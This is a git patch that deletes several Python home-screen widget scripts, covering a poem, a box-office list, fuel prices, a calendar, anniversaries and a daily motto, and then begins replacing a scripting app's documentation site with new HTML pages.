- with w.vstack(spacing=4, align="leading"): - w.spacer() - w.text(quote if quote else "网络不可用", size=16, weight="medium", color=primary, - max_lines=3) - w.text(author if author else "", size=12, color=secondary) - w.spacer() - w.spacer(8) - w.text(category if category else "", size=11, color=weak, align="trailing") - w.spacer() - -else: - with w.vstack(spacing=0): - w.spacer() - with w.hstack(spacing=8): - w.icon("pencil.and.outline", size=22, color=accent) - w.text("每日诗词", size=18, weight="semibold", - color=("#334155", "#E2E8F0")) - w.spacer() - w.text(datetime.datetime.now().strftime("%Y/%m/%d"), size=13, color=weak) - w.spacer(16) - - with w.card(background=card_bg, corner_radius=12, padding=16, spacing=0): - w.text(quote if quote else "无法获取诗词,请检查网络连接", size=20, weight="medium", color=primary, - max_lines=4) - w.spacer(10) - w.text(author if author else "", size=14, color=secondary) - - w.spacer() - - with w.hstack(spacing=0): - w.icon("leaf.fill", size=12, color="#10B981") - w.spacer(6) - w.text(category if category else "诗意的栖居", size=12, color=weak) - w.spacer() - - w.spacer() - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mn9r95l0.py b/script_library/scripts/widgets/script_mn9r95l0.py deleted file mode 100644 index 76157c5..0000000 --- a/script_library/scripts/widgets/script_mn9r95l0.py +++ /dev/null @@ -1,87 +0,0 @@ -from widget import Widget, family, SMALL, MEDIUM, LARGE -import requests - -def safe_text(val, default=""): - return val if val and val.strip() else default - -try: - headers = {"Content-Type": "application/x-www-form-urlencoded;charset:utf-8"} - resp = requests.post( - "https://api.taolale.com/api/hot_rankings/get", - data={"key": "DoG1KYTwfGhcTACTpgAk4eFiDf"}, - headers=headers, - timeout=10 - ) - data = resp.json() - movies = data.get("data", [])[:5] if data.get("code") == 200 else [] -except: - movies = [] - -bg = ("#F8FAFC", "#0F172A") -title_color = ("#0F172A", "#F8FAFC") -subtitle_color = ("#647B94", "#94A3B8") -accent = "#EF4444" - -w = Widget(background=bg, padding=14) - -if family == SMALL: - top = movies[0] if movies else None - with w.vstack(spacing=0, align="leading"): - w.spacer(24) - if top: - w.icon("film.fill", size=18, color=accent) - w.spacer(8) - w.text(top["title"], size=17, weight="bold", color=title_color, max_lines=1) - w.spacer(6) - w.text(top["sumBoxDesc"], size=24, weight="bold", design="rounded", color=title_color) - release_info = safe_text(top.get("releaseInfo")) - if release_info: - w.spacer(6) - w.text(release_info, size=12, color=subtitle_color) - else: - w.text("暂无数据", size=16, color=subtitle_color) - w.spacer() - -elif family == MEDIUM: - with w.hstack(spacing=0): - w.icon("film.fill", size=15, color=accent) - w.spacer(6) - w.text("实时票房前三", size=14, weight="semibold", color=title_color) - w.spacer() - #w.text(f"共{len(movies)}部", size=12, color=subtitle_color) - w.spacer() - for movie in movies[:3]: - rank = movie["index"] - rc = "#F59E0B" if rank == 1 else "#94A3B8" if rank == 2 else "#CD7F32" - with w.hstack(spacing=0, align="center"): - w.text(f"#{rank}", size=13, weight="bold", color=rc) - w.spacer(6) - w.text(movie["title"], size=13, weight="medium", color=title_color) - w.spacer() - w.text(movie["sumBoxDesc"], size=13, weight="bold", design="rounded", color=title_color) - w.spacer(4) - w.spacer() - -else: - with w.hstack(spacing=0): - w.icon("film.fill", size=17, color=accent) - w.spacer(8) - w.text("实时票房榜", size=17, weight="bold", color=title_color) - w.spacer() - w.text(f"共{len(movies)}部", size=13, color=subtitle_color) - w.spacer(12) - for movie in movies: - rank = movie["index"] - rc = "#F59E0B" if rank == 1 else "#94A3B8" if rank == 2 else "#CD7F32" - release_info = safe_text(movie.get("releaseInfo")) - with w.hstack(spacing=0, align="center"): - w.text(f"#{rank}", size=15, weight="bold", color=rc) - w.spacer(8) - w.text(movie["title"], size=15, weight="semibold", color=title_color) - if release_info: - w.text(f" · {release_info}", size=12, color=subtitle_color) - w.spacer() - w.text(movie["sumBoxDesc"], size=16, weight="bold", design="rounded", color=title_color) - w.spacer(6) - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mna05y9m.py b/script_library/scripts/widgets/script_mna05y9m.py deleted file mode 100644 index 1136769..0000000 --- a/script_library/scripts/widgets/script_mna05y9m.py +++ /dev/null @@ -1,312 +0,0 @@ -# 92-95每日油价桌面小组件 -# 数据来源:20121212.cn 油价接口 -# 城市可自定义设置 -# 注意:每次刷新都会从网络获取最新数据,无缓存 - -from widget import Widget, family, SMALL, MEDIUM, LARGE -import datetime -import json - -# ═══════════════════════════════════════════════════════════ -# 配置区 - 设置你所在的城市 -# 支持城市:北京、上海、广州、深圳、杭州、南京、武汉、成都、重庆、西安、天津 等 -# ═══════════════════════════════════════════════════════════ -CITY_NAME = "北京" # ← 在这里修改城市名称 - -# ═══════════════════════════════════════════════════════════ -# 油价API接口 -# ═══════════════════════════════════════════════════════════ -OIL_PRICE_API = "https://20121212.cn/ci/index.php/iol/like/" - - -def get_oil_price_from_api(city_name): - """ - 从油价API获取数据 - 接口:https://20121212.cn/ci/index.php/iol/like/{城市名} - """ - try: - import requests - except ImportError: - return None - - url = f"{OIL_PRICE_API}{city_name}" - - try: - resp = requests.get(url, timeout=10) - text = resp.text - resp.close() - - # 解析JSON数据 - data = json.loads(text) - - # 检查是否成功返回数据 - if isinstance(data, list) and len(data) > 0: - item = data[0] - - return { - "price92": float(item.get("iol92", 0)), - "price95": float(item.get("iol95", 0)), - "price98": float(item.get("iol98", 0)), - "price89": float(item.get("iol89", 0)), - "price0": float(item.get("iol0", 0)), - "price10": float(item.get("iol10", 0)), - "price20": float(item.get("iol20", 0)), - "price35": float(item.get("iol35", 0)), - "ton92": item.get("ton92", ""), - "ton95": item.get("ton95", ""), - "ton98": item.get("ton98", ""), - "update": item.get("date", ""), - "city_raw": item.get("city", ""), - } - except Exception as e: - print(f"API请求失败: {e}") - - return None - - -def get_oil_price(city_name=None): - """ - 获取油价数据(直接请求API,不使用缓存) - """ - # 使用配置的城市名 - if not city_name: - city_name = CITY_NAME - - # 直接从API获取 - api_data = get_oil_price_from_api(city_name) - if api_data: - return api_data, city_name, True - - # API不可用,返回失败状态 - return None, city_name, False - - -# ═══════════════════════════════════════════════════════════ -# 主程序 - 小组件渲染 -# ═══════════════════════════════════════════════════════════ - -# 获取油价数据 -oil_data, current_city, data_ok = get_oil_price() -now = datetime.datetime.now() - -# 配色方案 - 暖白主题 -BG_COLOR = ("#FFFBEB", "#1C1917") -CARD_BG = ("#FEF3C7", "#292524") -TITLE_COLOR = ("#78350F", "#FDE68A") -TEXT_COLOR = ("#92400E", "#D6D3D1") -SUB_COLOR = ("#B45309", "#78716C") -ACCENT_COLOR = ("#EA580C", "#FB923C") -ERROR_COLOR = ("#DC2626", "#F87171") - -# 创建小组件 -w = Widget(background=BG_COLOR, padding=14) - -if family == SMALL: - # ═══ SMALL (127×127pt) ═══ - # 极简设计:单行展示核心油价,居中显示 - with w.vstack(spacing=0, align="center"): - w.spacer() # 顶部弹性 - - # 图标 + 标题 - w.icon("fuelpump.fill", size=16, color=ACCENT_COLOR) - w.spacer(4) - w.text("油价", size=11, weight="medium", color=SUB_COLOR) - - w.spacer(6) - - # 核心数据 - if data_ok and oil_data: - price92 = oil_data.get("price92", 0) - with w.hstack(spacing=8): - w.text("92#", size=12, weight="semibold", color=TEXT_COLOR) - w.text(f"¥{price92:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - else: - w.text("N/A", size=20, weight="bold", - design="rounded", color=ERROR_COLOR) - - w.spacer(4) - - # 副标题 - if data_ok: - w.text(current_city, size=10, color=SUB_COLOR) - else: - w.text("网络异常", size=10, color=ERROR_COLOR) - - w.spacer() # 底部弹性 - -elif family == MEDIUM: - # ═══ MEDIUM (301×127pt) ═══ - # 整体居中:标题行居中 + 卡片组居中 - with w.vstack(spacing=0, align="center"): - w.spacer() # 顶部弹性 - - # 顶部标题行 - 居中 - with w.hstack(spacing=6, align="center"): - w.icon("fuelpump.fill", size=14, color=ACCENT_COLOR) - w.text(f"{current_city}今日油价", size=14, weight="semibold", - color=TITLE_COLOR) - w.spacer() - if data_ok and oil_data and oil_data.get("update"): - update_date = oil_data.get("update", "") - try: - date_str = datetime.datetime.strptime(update_date[:10], "%Y-%m-%d").strftime("%m-%d") - except: - date_str = update_date[:10] - w.text(date_str, size=11, color=SUB_COLOR) - else: - w.text("加载中", size=11, color=ERROR_COLOR) - - w.spacer() # 弹性撑开 - - # 主数据区 - 三列卡片居中 - if data_ok and oil_data: - price92 = oil_data.get("price92", 0) - price95 = oil_data.get("price95", 0) - price98 = oil_data.get("price98", 0) - - with w.hstack(spacing=6, align="center"): - # 左侧 92号 - with w.card(background=CARD_BG, corner_radius=10, - padding=10, spacing=0): - with w.vstack(spacing=2, align="center"): - w.text("92#", size=11, weight="semibold", color=SUB_COLOR) - w.text(f"¥{price92:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=9, color=SUB_COLOR) - - # 中间 95号 - with w.card(background=CARD_BG, corner_radius=10, - padding=10, spacing=0): - with w.vstack(spacing=2, align="center"): - w.text("95#", size=11, weight="semibold", color=SUB_COLOR) - w.text(f"¥{price95:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=9, color=SUB_COLOR) - - # 右侧 98号 - with w.card(background=CARD_BG, corner_radius=10, - padding=10, spacing=0): - with w.vstack(spacing=2, align="center"): - w.text("98#", size=11, weight="semibold", color=SUB_COLOR) - w.text(f"¥{price98:.2f}", size=20, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=9, color=SUB_COLOR) - else: - # 网络异常时显示错误提示 - with w.card(background=CARD_BG, corner_radius=10, - padding=16, spacing=0): - with w.vstack(spacing=4, align="center"): - w.icon("wifi.slash", size=24, color=ERROR_COLOR) - w.text("无法获取油价数据", size=13, weight="medium", - color=TEXT_COLOR) - w.text("请检查网络连接", size=11, color=SUB_COLOR) - - w.spacer() # 底部弹性 - -else: - # ═══ LARGE (301×317pt) ═══ - # 完整展示:头部+价格卡片+底部提示,全部居中 - with w.vstack(spacing=0, align="center"): - w.spacer() # 顶部弹性 - - # 头部标题区 - 居中 - with w.hstack(spacing=6, align="center"): - w.icon("fuelpump.fill", size=18, color=ACCENT_COLOR) - w.text(f"{current_city}今日油价", size=18, weight="semibold", - color=TITLE_COLOR) - w.spacer() - if data_ok and oil_data and oil_data.get("update"): - update_date = oil_data.get("update", "") - try: - date_str = datetime.datetime.strptime(update_date[:10], "%Y-%m-%d").strftime("%m月%d日") - except: - date_str = update_date[:10] - w.text(date_str, size=12, color=SUB_COLOR) - else: - w.text("加载中", size=12, color=ERROR_COLOR) - - w.spacer(12) - - if data_ok and oil_data: - price92 = oil_data.get("price92", 0) - price95 = oil_data.get("price95", 0) - price98 = oil_data.get("price98", 0) - price0 = oil_data.get("price0", 0) - update_date = oil_data.get("update", "") - - # 价格卡片区 - 2x2布局,全部居中 - with w.hstack(spacing=8, align="center"): - # 92号卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("92# 汽油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price92:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - # 95号卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("95# 汽油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price95:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - w.spacer(8) - - with w.hstack(spacing=8, align="center"): - # 98号卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("98# 汽油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price98:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - # 0号柴油卡片 - with w.card(background=CARD_BG, corner_radius=12, padding=12): - with w.vstack(spacing=2, align="center"): - w.text("0# 柴油", size=12, weight="medium", color=SUB_COLOR) - w.text(f"¥{price0:.2f}", size=26, weight="bold", - design="rounded", color=TITLE_COLOR) - w.text("元/升", size=10, color=SUB_COLOR) - - w.spacer() # 弹性撑开 - - # 底部提示区 - 居中 - with w.card(background=CARD_BG, corner_radius=10, padding=10): - with w.hstack(spacing=8, align="center"): - w.icon("info.circle.fill", size=14, color=ACCENT_COLOR) - with w.vstack(spacing=1): - w.text("数据来源:油价查询接口", size=10, color=SUB_COLOR) - if update_date: - w.text(f"更新时间 {update_date},实际价格以加油站为准", - size=10, color=SUB_COLOR) - else: - w.text("实际价格以加油站为准", - size=10, color=SUB_COLOR) - else: - # 网络异常时显示错误提示 - with w.card(background=CARD_BG, corner_radius=12, padding=20): - with w.vstack(spacing=8, align="center"): - w.icon("wifi.slash", size=36, color=ERROR_COLOR) - w.text("无法获取油价数据", size=16, weight="semibold", - color=TEXT_COLOR) - w.text("请检查网络连接后刷新", size=12, color=SUB_COLOR) - - w.spacer() - - # 底部提示区 - with w.card(background=CARD_BG, corner_radius=10, padding=10): - with w.hstack(spacing=8, align="center"): - w.icon("exclamationmark.triangle.fill", size=14, color=ERROR_COLOR) - with w.vstack(spacing=1): - w.text("提示", size=10, weight="medium", color=TEXT_COLOR) - w.text("确保网络连接正常,小组件将在下次刷新时重试", - size=10, color=SUB_COLOR) - - w.spacer() # 底部弹性 - -# 渲染小组件 -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mnbrzcaq.py b/script_library/scripts/widgets/script_mnbrzcaq.py deleted file mode 100644 index 39d87fe..0000000 --- a/script_library/scripts/widgets/script_mnbrzcaq.py +++ /dev/null @@ -1,130 +0,0 @@ -import widget -import datetime -import calendar -import requests -import random - -BG_COLOR = "#FFFFFF" -MAIN_TEXT_COLOR = "#1C1C1E" -SECONDARY_TEXT_COLOR = "#8E8E93" -ACCENT_COLOR = "#007AFF" -FESTIVAL_COLOR = "#34C759" -TODAY_COLOR = "#FF3B30" -DATE_TEXT_COLOR = "#3A3A3C" -QUOTE_MAX_LENGTH = 20 -REQUEST_TIMEOUT = 1.5 -SHOW_DATE_COUNT = 5 - -def get_festivals(month, day): - festival_dict = { - 1: {1: "元旦节"}, 2: {14: "情人节"}, 3: {8: "妇女节", 12: "植树节", 21: "世界森林日"}, - 4: {4: "清明节"}, 5: {1: "劳动节", 4: "青年节"}, 6: {1: "儿童节", 14: "端午节"}, - 7: {1: "建党节"}, 8: {1: "建军节"}, 9: {10: "教师节", 17: "中秋节"}, - 10: {1: "国庆节", 7: "重阳节"}, 12: {25: "圣诞节"} - } - month_fest = festival_dict.get(month, {}) - today_text = month_fest.get(day, "宜: 保持热爱") - month_all = "·".join(list(month_fest.values())[:2]) if month_fest else "岁华寻常" - return today_text, month_all - -def get_hitokoto(): - default_quotes = [ - "代码敲累了,记得喝杯水...", "生活明朗,万物可爱。", "凡是过往,皆为序章。", - "平安喜乐,得偿所愿。", "保持热爱,奔赴山海。", "慢慢来,谁还没有一个努力的过程。", - "心有山海,静而无边。", "人间值得,未来可期。" - ] - try: - headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)"} - r = requests.get("https://v1.hitokoto.cn/?c=i", headers=headers, timeout=REQUEST_TIMEOUT).json() - return r.get("hitokoto", random.choice(default_quotes)) - except: - return random.choice(default_quotes) - -def build(): - w = widget.Widget(widget.LARGE) - w._background = BG_COLOR - w._color = MAIN_TEXT_COLOR - - now = datetime.datetime.now() - y, m, d = now.year, now.month, now.day - today_fest, month_all = get_festivals(m, d) - total_days = 366 if calendar.isleap(y) else 365 - year_progress = now.timetuple().tm_yday / total_days - today_week_idx = now.weekday() - week_list = ["一", "二", "三", "四", "五", "六", "日"] - - date_list = [now + datetime.timedelta(days=i) for i in range(SHOW_DATE_COUNT)] - date_rows = [date_list[i:i+5] for i in range(0, len(date_list), 5)] - - pre_week = " ".join(week_list[:today_week_idx]) + (" " if today_week_idx > 0 else "") - today_week = week_list[today_week_idx] - suf_week = (" " if today_week_idx < 6 else "") + " ".join(week_list[today_week_idx+1:]) - - with w.vstack(spacing=12): - with w.hstack(): - w.icon("calendar.badge.clock", size=24, color=ACCENT_COLOR) - w.text(f" {y} 年 {m} 月", size=24, weight="heavy") - w.spacer() - - w.spacer() - - with w.hstack(): - with w.vstack(spacing=6): - w.text(str(d), size=90, weight="heavy") - w.text(f"{now.strftime('%B').upper()} ◈ {today_fest}", size=13, color=FESTIVAL_COLOR, weight="bold") - w.text(f"本月: {month_all}", size=11, color=SECONDARY_TEXT_COLOR) - - w.spacer() - - with w.vstack(spacing=10): - with w.hstack(): - if pre_week.strip(): - w.text(pre_week, size=12, color=SECONDARY_TEXT_COLOR, weight="bold") - w.text(today_week, size=12, color=TODAY_COLOR, weight="bold") - if suf_week.strip(): - w.text(suf_week, size=12, color=SECONDARY_TEXT_COLOR, weight="bold") - - for row in date_rows: - row_days = [date.day for date in row] - has_today = d in row_days - - if not has_today: - row_str = "" - for day_num in row_days: - row_str += f" {day_num:02d} " - w.text(row_str, size=17, color=DATE_TEXT_COLOR, weight="bold") - - else: - with w.hstack(spacing=0): - for date in row: - day_num = date.day - if day_num == d: - w.text(f" {day_num:02d} ", size=13, color=TODAY_COLOR, weight="heavy") - else: - w.text(f" {day_num:02d} ", size=13, color=DATE_TEXT_COLOR, weight="bold") - - w.spacer() - w.divider() - - with w.hstack(): - try: - w.progress(year_progress)._set_color(ACCENT_COLOR) - except: - pass - w.text(f" {int(year_progress*100)}%", size=13, color=SECONDARY_TEXT_COLOR, weight="bold") - - with w.hstack(): - w.icon("quote.bubble.fill", size=14, color=ACCENT_COLOR) - quote = get_hitokoto() - if len(quote) > QUOTE_MAX_LENGTH: - short_quote = quote[:QUOTE_MAX_LENGTH].rsplit(",", 1)[0].rsplit("。", 1)[0] - w.text(f" {short_quote}...", size=12, color=SECONDARY_TEXT_COLOR) - else: - w.text(f" {quote}", size=12, color=SECONDARY_TEXT_COLOR) - w.spacer() - - w.render() - widget.show(w) - -if __name__ == "__main__": - build() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mnfx90ey.py b/script_library/scripts/widgets/script_mnfx90ey.py deleted file mode 100644 index 2926bf5..0000000 --- a/script_library/scripts/widgets/script_mnfx90ey.py +++ /dev/null @@ -1,189 +0,0 @@ -from widget import Widget, family, MEDIUM -from datetime import datetime, date - - -BACKGROUND_COLOR = ("#F8F9FA", "#1C1C1E") -TITLE_COLOR = ("#2C3E50", "#FFFFFF") -DIVIDER_COLOR = ("#DEE2E6", "#3A3A3C") -NAME_COLOR = ("#212529", "#FFFFFF") -FUTURE_COLOR = ("#2ECC71", "#6EE7B7") -TODAY_COLOR = ("#F1C40F", "#FFD966") -PAST_COLOR = ("#E74C3C", "#FF6B6B") -AGE_COLOR = ("#E67E22", "#F39C12") - -ICON_COLORS = { - "birthday.cake.fill": ("#FF6B6B", "#FF9F4A"), - "person.fill": ("#4A90E2", "#6AB0FF"), - "heart.fill": ("#E8436E", "#FF6B8B"), - "graduationcap.fill": ("#9B6DFF", "#B78CFF"), - "star.fill": ("#FFC107", "#FFD966"), - "gift.fill": ("#38B2AC", "#6EE7B7"), - "default": ("#8E8E93", "#AEAEB2") -} - -# 纪念日列表(直接在下面修改) -# 每个条目包含:name(名称), date(YYYY-MM-DD), icon(SF Symbol), type(类型) -# 类型说明: -# - "yearly" : 每年重复(如生日、纪念日) -# - "age" : 累计天数(如“来到这个世界”) -# - "once" : 一次性固定日期(如某个活动截止日) -ANNIVERSARIES = [ - { - "name": "生日", - "date": "2000-01-01", - "icon": "birthday.cake.fill", - "type": "yearly" - }, - { - "name": "来到这个世界", - "date": "2000-01-01", - "icon": "person.fill", - "type": "age" - }, - { - "name": "恋爱纪念日", - "date": "2022-05-20", - "icon": "heart.fill", - "type": "yearly" - }, - { - "name": "毕业日", - "date": "2024-07-01", - "icon": "graduationcap.fill", - "type": "yearly" - } -] - -ICON_SIZE = 20 -TITLE_FONT_SIZE = 16 -NAME_FONT_SIZE = 14 -DAYS_FONT_SIZE = 12 -SPACING = 10 -PADDING = 12 - - -def days_since_birth(birth_date): - today = datetime.now().date() - try: - birth = datetime.strptime(birth_date, "%Y-%m-%d").date() - except: - return None - return (today - birth).days - -def get_next_yearly(month, day): - today = datetime.now().date() - try: - target_this_year = date(today.year, month, day) - except ValueError: - return None - if target_this_year >= today: - return target_this_year - else: - try: - return date(today.year + 1, month, day) - except ValueError: - return None - -def days_diff(item): - if item['type'] == 'age': - days = days_since_birth(item['date']) - if days is None: - return None, None - return days, f" {days} 天" - elif item['type'] == 'yearly': - try: - parts = item['date'].split('-') - if len(parts) != 3: - return None, None - month, day = int(parts[1]), int(parts[2]) - next_date = get_next_yearly(month, day) - if next_date is None: - return None, None - delta = (next_date - datetime.now().date()).days - if delta == 0: - text = "就是今天!" - elif delta > 0: - text = f"还有{delta} 天" - else: - text = f"已过 {-delta} 天" - return delta, text - except: - return None, None - else: - try: - target = datetime.strptime(item['date'], "%Y-%m-%d").date() - delta = (target - datetime.now().date()).days - if delta == 0: - text = "就是今天!" - elif delta > 0: - text = f"还有 {delta} 天" - else: - text = f"已过 {-delta} 天" - return delta, text - except: - return None, None - -def get_icon_color(icon_name): - return ICON_COLORS.get(icon_name, ICON_COLORS["default"]) - -def get_status_color(delta, item_type): - if item_type == 'age': - return AGE_COLOR - if delta == 0: - return TODAY_COLOR - elif delta > 0: - return FUTURE_COLOR - else: - return PAST_COLOR - -def render_widget(): - items = [] - for a in ANNIVERSARIES: - delta, text = days_diff(a) - if delta is not None: - items.append({ - 'name': a['name'], - 'delta': delta, - 'text': text, - 'icon': a.get('icon', 'calendar'), - 'type': a['type'] - }) - - items.sort(key=lambda x: (x['type'] == 'age', abs(x['delta']))) - display_items = items[:4] - - w = Widget(background=BACKGROUND_COLOR) - - with w.vstack(spacing=8, padding=PADDING): - with w.hstack(spacing=4): - w.icon("calendar", size=ICON_SIZE-2, color=TITLE_COLOR, weight="medium") - w.text("纪念日", size=TITLE_FONT_SIZE, weight="semibold", color=TITLE_COLOR) - - w.divider(color=DIVIDER_COLOR) - - if not display_items: - with w.hstack(): - w.icon("info.circle", size=ICON_SIZE-2, color=("#6C757D", "#8E8E93")) - w.text("暂无纪念日,请在脚本中添加", size=12, color=("#6C757D", "#8E8E93"), align="center") - else: - for item in display_items: - with w.hstack(spacing=SPACING, align="center"): - icon_light, icon_dark = get_icon_color(item['icon']) - icon_color = (icon_light, icon_dark) - w.icon(item['icon'], size=ICON_SIZE, color=icon_color, weight="regular") - - w.text(item['name'], size=NAME_FONT_SIZE, weight="medium", color=NAME_COLOR, max_lines=1) - - w.spacer() - - status_color = get_status_color(item['delta'], item['type']) - w.text(item['text'], size=DAYS_FONT_SIZE, color=status_color, weight="medium", max_lines=1) - - w.render(url="pythonide://") - -if __name__ == '__main__': - try: - family - except NameError: - family = MEDIUM - render_widget() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mnj1lj72.py b/script_library/scripts/widgets/script_mnj1lj72.py deleted file mode 100644 index f3bdfda..0000000 --- a/script_library/scripts/widgets/script_mnj1lj72.py +++ /dev/null @@ -1,93 +0,0 @@ - -# 2026-4-3 Silence - -import requests -from widget import Widget, family, MEDIUM - -BLACKLIST = ["死", "杀", "恨", "怨", "哭", "泪", "痛", "苦", "穷", - "失败", "绝望", "黑暗", "孤独", "放弃", "离开", "背叛", - "悲伤", "痛苦", "哭泣", "受伤", "残忍", "抑郁", "焦虑", "堕落"] - -def is_good(text): - for w in BLACKLIST: - if w in text: - return False - return True - -def get_motto(): - categories = ['d', 'i', 'k'] - for _ in range(8): - try: - import random - cat = random.choice(categories) - url = f"https://v1.hitokoto.cn/?c={cat}" - resp = requests.get(url, timeout=5) - if resp.status_code == 200: - data = resp.json() - text = data.get('hitokoto', '') - if not text or len(text) < 8 or len(text) > 24: - continue - if not is_good(text): - continue - from_who = data.get('from_who', '') - from_where = data.get('from', '') - if from_who and from_where: - if from_who in from_where or from_where in from_who: - author = from_who if from_who else from_where - else: - author = f"{from_who} · {from_where}" - elif from_who: - author = from_who - elif from_where: - author = from_where - else: - author = "" - return text, author - except: - pass - return "每天进步一点点,坚持带来大改变。", "佚名" - -def render_widget(): - quote, author = get_motto() - if len(quote) > 22: - quote = quote[:20] + "…" - - bg_color = ("#FEFCE8", "#1E1A2F") - w = Widget(background=bg_color, padding=16) - - with w.vstack(spacing=10): - with w.hstack(): - w.icon("heart.text.square.fill", size=18, color="#E63946") - w.text("每日名言", size=14, weight="semibold", color=("#1E293B", "#E2E8F0")) - w.spacer() - w.icon("leaf.fill", size=12, color="#A3E635") - - w.divider(color=("#E2E8F0", "#334155")) - - with w.hstack(): - w.icon("quote.opening", size=14, color=("#94A3B8", "#64748B")) - w.spacer(4) - w.spacer(4) - - w.text(f"「{quote}」", size=15, weight="medium", - color=("#0F172A", "#F1F5F9"), align="left", max_lines=3) - - w.spacer(4) - - if author: - w.text(f"—— {author}", size=11, color=("#64748B", "#94A3B8"), - align="right", max_lines=1) - else: - w.text(" 给今天一点力量 ", size=10, color=("#94A3B8", "#6B7280"), align="center") - - w.render() - -if family == MEDIUM: - render_widget() -else: - w = Widget(background=("#FFFFFF", "#0B0F1A"), padding=16) - with w.vstack(align="center", spacing=8): - w.icon("heart.text.square", size=30, color="#E63946") - w.text("请使用中尺寸小组件", size=14, weight="semibold", - color=("#111", "#EEE"), align="center") - w.render() \ No newline at end of file From 6f39fa0274c667805c991ff65d1a2dafd2cdeec3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Fri, 5 Jun 2026 21:49:20 +0800 Subject: [PATCH 06/33] Replace public website and developer docs --- "docs/AI\345\210\206\346\236\220.png" | Bin 1182989 -> 0 bytes docs/appui-module.md | 253 -- docs/assets/brand-mark.svg | 8 + docs/clipboard-module.md | 56 - docs/console-module.md | 328 -- docs/contacts-module.md | 724 --- docs/dialogs-module.md | 222 - docs/docs/404.html | 247 ++ docs/docs/assets/brand-mark.svg | 8 + docs/docs/assets/docs-v2.css | 731 +++ docs/docs/assets/docs-v2.js | 190 + docs/docs/collections/appui/index.html | 248 ++ .../automation-extension/index.html | 248 ++ docs/docs/collections/ios-native/index.html | 248 ++ docs/docs/collections/scene/index.html | 248 ++ docs/docs/collections/ui/index.html | 248 ++ docs/docs/collections/widget/index.html | 248 ++ docs/docs/index.html | 678 +-- .../pages/appui-appendix-colors/index.html | 407 ++ .../pages/appui-appendix-migration/index.html | 428 ++ .../pages/appui-appendix-symbols/index.html | 426 ++ .../index.html | 375 ++ .../docs/pages/appui-cookbook-chat/index.html | 379 ++ .../pages/appui-cookbook-dashboard/index.html | 423 ++ .../index.html | 421 ++ .../pages/appui-cookbook-gallery/index.html | 414 ++ .../index.html | 460 ++ .../pages/appui-cookbook-index/index.html | 294 ++ .../index.html | 409 ++ .../appui-cookbook-location-map/index.html | 367 ++ .../index.html | 395 ++ .../index.html | 384 ++ .../index.html | 441 ++ .../appui-cookbook-network-list/index.html | 386 ++ .../index.html | 378 ++ .../appui-cookbook-secure-vault/index.html | 368 ++ .../pages/appui-cookbook-settings/index.html | 336 ++ .../index.html | 391 ++ .../index.html | 379 ++ .../docs/pages/appui-cookbook-todo/index.html | 358 ++ .../appui-cookbook-video-player/index.html | 454 ++ .../index.html | 381 ++ .../pages/appui-guide-animation/index.html | 439 ++ docs/docs/pages/appui-guide-charts/index.html | 448 ++ .../pages/appui-guide-darkmode/index.html | 376 ++ .../pages/appui-guide-hotreload/index.html | 360 ++ .../pages/appui-guide-interaction/index.html | 536 +++ docs/docs/pages/appui-guide-layout/index.html | 494 +++ docs/docs/pages/appui-guide-lists/index.html | 495 +++ docs/docs/pages/appui-guide-media/index.html | 531 +++ .../pages/appui-guide-navigation/index.html | 498 +++ .../pages/appui-guide-performance/index.html | 475 ++ .../pages/appui-guide-realtime/index.html | 321 ++ docs/docs/pages/appui-guide-state/index.html | 518 +++ .../pages/appui-guide-thinking/index.html | 384 ++ docs/docs/pages/appui-module/index.html | 296 ++ docs/docs/pages/appui-quickstart/index.html | 440 ++ docs/docs/pages/appui-ref-charts/index.html | 417 ++ docs/docs/pages/appui-ref-controls/index.html | 388 ++ docs/docs/pages/appui-ref-data/index.html | 514 +++ .../pages/appui-ref-environment/index.html | 294 ++ .../docs/pages/appui-ref-functions/index.html | 325 ++ .../appui-ref-layout-geometry/index.html | 412 ++ .../pages/appui-ref-layout-grids/index.html | 464 ++ .../pages/appui-ref-layout-scroll/index.html | 317 ++ .../pages/appui-ref-layout-stacks/index.html | 468 ++ docs/docs/pages/appui-ref-layout/index.html | 314 ++ docs/docs/pages/appui-ref-media/index.html | 526 +++ .../docs/pages/appui-ref-modifiers/index.html | 335 ++ .../pages/appui-ref-navigation/index.html | 413 ++ .../pages/appui-ref-presentation/index.html | 420 ++ docs/docs/pages/appui-ref-shapes/index.html | 381 ++ docs/docs/pages/appui-ref-state/index.html | 346 ++ docs/docs/pages/aurora-system/index.html | 277 ++ docs/docs/pages/aurora-toolkit/index.html | 323 ++ docs/docs/pages/avplayer-module/index.html | 303 ++ docs/docs/pages/background-module/index.html | 307 ++ docs/docs/pages/biometric-module/index.html | 326 ++ docs/docs/pages/bluetooth-module/index.html | 390 ++ .../docs/pages/c-extensions-module/index.html | 303 ++ .../pages/calendar-events-module/index.html | 367 ++ docs/docs/pages/clipboard-module/index.html | 326 ++ docs/docs/pages/console-module/index.html | 301 ++ docs/docs/pages/contacts-module/index.html | 379 ++ docs/docs/pages/coreml-module/index.html | 405 ++ 